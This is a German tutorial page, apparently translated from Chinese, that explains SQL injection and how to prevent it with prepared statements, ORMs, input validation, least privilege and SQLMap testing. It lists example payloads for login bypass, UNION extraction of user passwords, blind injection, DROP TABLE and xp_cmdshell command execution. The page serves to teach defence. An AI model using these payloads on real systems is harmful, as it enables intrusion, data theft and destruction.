SQL-Injektion
SQL-Injection ist eine verbreitete Netzwerkangriffstechnik, bei der Angreifer bösartige SQL-Anweisungen in Eingabefelder oder Anfragen einschleusen, um die Datenbank dazu zu bringen, unbeabsichtigte Operationen auszuführen.
Zu den typischen Zielen gehören:
- Diebstahl sensibler Daten
- Umgehung der Authentifizierung
- Ändern oder Löschen von Datenbankinhalten
- Ausführen von Systembefehlen usw.
Wie SQL-Injection funktioniert
-
Unzureichende Eingabevalidierung: Wenn eine Webanwendung Benutzereingaben nicht ordnungsgemäß validiert, können Angreifer SQL-Code in Eingabefelder einfügen.
-
Verkettung von SQL-Anweisungen: Das Anwendungs-Backend verkettet normalerweise Benutzereingaben mit SQL-Abfragen, um eine vollständige Datenbankabfrage zu bilden.
-
Ausführen von bösartigem SQL: Wenn die Anwendung Eingaben nicht ordnungsgemäß bereinigt oder maskiert, wird bösartiger SQL-Code vom Datenbankserver ausgeführt.
-
Datenabfluss oder -zerstörung: Angreifer können SQL-Injection verwenden, um Daten in der Datenbank abzufragen, zu ändern oder zu löschen oder Systembefehle des Datenbankmanagementsystems auszuführen.
Normale Abfrage
Wenn Benutzer sich auf einer Website anmelden, geben sie normalerweise einen Benutzernamen und ein Passwort ein.
Der folgende Code ist eine normale SQL-Abfrage:
SELECT * FROM users WHERE username = 'user1' AND password = 'password1';
Injektionsangriff
Wenn ein Angreifer Folgendes eingibt:
用户名: admin' -- 密码: anything
Die SQL-Abfrage wird zu:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';
Wobei--das Kommentarsymbol von SQL ist, das die Passwortbedingung ignoriert und die Authentifizierung direkt umgeht.
Häufige SQL-Injection-Typen
1. Einfache SQL-Injection
Direktes Einbetten von bösartigem SQL-Code in Benutzereingaben, um die Abfragelogik zu beeinflussen.
输入用户名:admin' OR '1'='1 输入密码:anything
Ausgeführte SQL-Abfrage:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';
Ergebnis:
OR '1'='1' ist immer wahr, was die Authentifizierung umgehen kann.
2. UNION-Query-Injection
UNION wird verwendet, um die vom Angreifer erstellten Abfrageergebnisse mit legitimen Abfrageergebnissen zusammenzuführen und dadurch sensible Daten zu erhalten.
Eingabe:
' UNION SELECT null, username, password FROM users --
Ausgeführte SQL-Abfrage:
SELECT id, name FROM products WHERE id = '' UNION SELECT null, username, password FROM users --';
Ergebnis:
Gibt die Benutzernamen- und Passwortdaten aus der Tabelle users als Ergebnis zurück.
3. Fehlerbasierte SQL-Injection
Durch absichtliches Auslösen von Datenbankfehlern werden Fehlermeldungen genutzt, um Tabellennamen, Spaltennamen oder Daten abzuleiten.
Eingabe:
' AND 1=CONVERT(int, (SELECT @@version)) --
Ausgeführte SQL-Abfrage:
SELECT * FROM users WHERE username = '' AND 1=CONVERT(int, (SELECT @@version)) --';
Ergebnis:
Fehlermeldungen können die Datenbankversion oder andere Informationen preisgeben.
4. Blinde SQL-Injection
Wenn Abfrageergebnisse nicht direkt erlangt werden können, leiten Angreifer Daten Schritt für Schritt ab, indem sie die Antwort der zurückgegebenen Seite beurteilen (z. B. boolesche Werte oder Zeitverzögerungen).
Boolesche Blind-Injection, Eingabe:
' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --
Ausgeführte SQL-Abfrage:
SELECT * FROM users WHERE username = '' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --';
Ergebnis:
Bestimmen Sie anhand des zurückgegebenen Ergebnisses, ob der erste Buchstabe des Datenbanknamens 't' ist.
Zeitbasierte Blind-Injection, Eingabe:
' AND IF(1=1, SLEEP(5), 0) --
Ausgeführte SQL-Abfrage:
SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), 0) --';
Ergebnis:
Wenn die Bedingung zutrifft, verzögert der Server die Antwort um 5 Sekunden und gibt dadurch Informationen preis.
5. Stacked-Queries-Injection
Ermöglicht die gleichzeitige Ausführung mehrerer SQL-Anweisungen.
Eingabe:
'; DROP TABLE users; --
Ausgeführte SQL-Abfrage:
SELECT * FROM users WHERE username = ''; DROP TABLE users; --';
Ergebnis:
Die Tabelle users wird gelöscht.
Einige Datenbanken (wie MySQL) unterstützen die Ausführung mehrerer Anweisungen standardmäßig nicht.
6. Injection über gespeicherte Prozeduren
Einschleusen von bösartigem SQL über die Eingabeparameter gespeicherter Prozeduren.
Eingabe:
'; EXEC xp_cmdshell('dir'); --
Ausgeführtes SQL:
EXEC LoginProcedure 'username', ''; EXEC xp_cmdshell('dir'); --'
Ergebnis:
Führt Systembefehle aus (wie das Auflisten von Verzeichnissen).
7. Cookie-Injection
Einschleusen durch Ändern der im Browser gespeicherten Cookie-Werte.
Cookie: session_id=' OR '1'='1;
Der Server führt beim Parsen von Cookies bösartiges SQL aus.
Gefahren von SQL-Injection
- Datenlecks:Angreifer erlangen sensible Informationen wie Benutzernamen, Passwörter und Bankkartennummern aus der Datenbank.
- Rechteausweitung:Angreifer können durch Einschleusen von Befehlen höhere Zugriffsrechte erlangen.
- Datenmanipulation:Datenbankinhalte werden geändert oder gelöscht.
- Dienstunterbrechung:Bösartiger SQL-Code kann einen Datenbankabsturz verursachen und dadurch die Systemverfügbarkeit beeinträchtigen.
- Ausführen von Systembefehlen:Durch Datenbank-Erweiterungsfunktionen können Angreifer direkt das Betriebssystem manipulieren.
Präventionsmaßnahmen
1. Parametrisierte Abfragen und Prepared Statements
Verwenden Sie parametrisierte Abfragen oder Prepared Statements, um Benutzereingaben von SQL-Anweisungen zu trennen und so zu verhindern, dass Benutzereingaben direkt als SQL-Code geparst werden.
Java-Code:
Beispiel
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
Node.js (MySQL-Modul):
Beispiel
connection.query(query, [username, password], (err, results) => {
if (err) throw err;
// Ergebnisse verarbeiten
});
2. Verwendung von ORM-Frameworks
Kernidee: ORMs (wie Hibernate, Sequelize usw.) generieren automatisch SQL-Abfragen, wodurch die Wahrscheinlichkeit manueller SQL-Verkettung stark reduziert und dadurch Injection vermieden wird.
// 使用 Sequelize
const user = await User.findOne({
where: { username: 'admin', password: 'password123' }
});
3. Eingabevalidierung
Prüfen Sie streng, ob Benutzereingaben den Erwartungen entsprechen, und lehnen Sie Eingaben ab, die nicht den Regeln entsprechen.
Verwenden Sie reguläre Ausdrücke für Benutzernamen, E-Mail-Adressen usw. und erlauben Sie bei numerischen Feldern nur numerische Eingaben.
Sonderzeichen maskieren (z. B. Umwandlung von " in \").
const username = req.body.username.replace(/[^a-zA-Z0-9]/g, ''); // 清理特殊字符
4. Datenbankberechtigungen einschränken
Weisen Sie Datenbankbenutzern minimale Berechtigungen zu und erlauben Sie nur notwendige Operationen.
- Schreibberechtigungen einschränken:Nur INSERT- und UPDATE-Operationen für entsprechende Tabellen erlauben und risikoreiche Operationen wie DROP und ALTER verbieten.
- Lese-/Schreibberechtigungen trennen:Verwenden Sie ein schreibgeschütztes Konto für den Datenbankzugriff.
Erstellen Sie einen schreibgeschützten Benutzer:
CREATE USER 'readonly_user'@'%' IDENTIFIED BY 'secure_password'; GRANT SELECT ON database_name.* TO 'readonly_user'@'%';
5. Regelmäßige Sicherheitstests
Überprüfen Sie den Code regelmäßig mithilfe von Sicherheitsscan-Tools oder manuellen Tests auf potenzielle SQL-Injection-Schwachstellen.
Wir können das Open-Source-Tool SQLMap zum Testen verwenden.
SQLMap ist ein Penetrationstest-Tool, das speziell für die automatisierte Erkennung und Ausnutzung von SQL-Injection entwickelt wurde.
SQLMap wird häufig bei Netzwerksicherheitsbewertungen und Penetrationstests eingesetzt, um SQL-Injection-Schwachstellen aufzudecken und zu beheben.
Offizielle SQL-Website:https://sqlmap.org/
-
SQLMap Open-Source-Adresse:https://github.com/sqlmapproject/sqlmap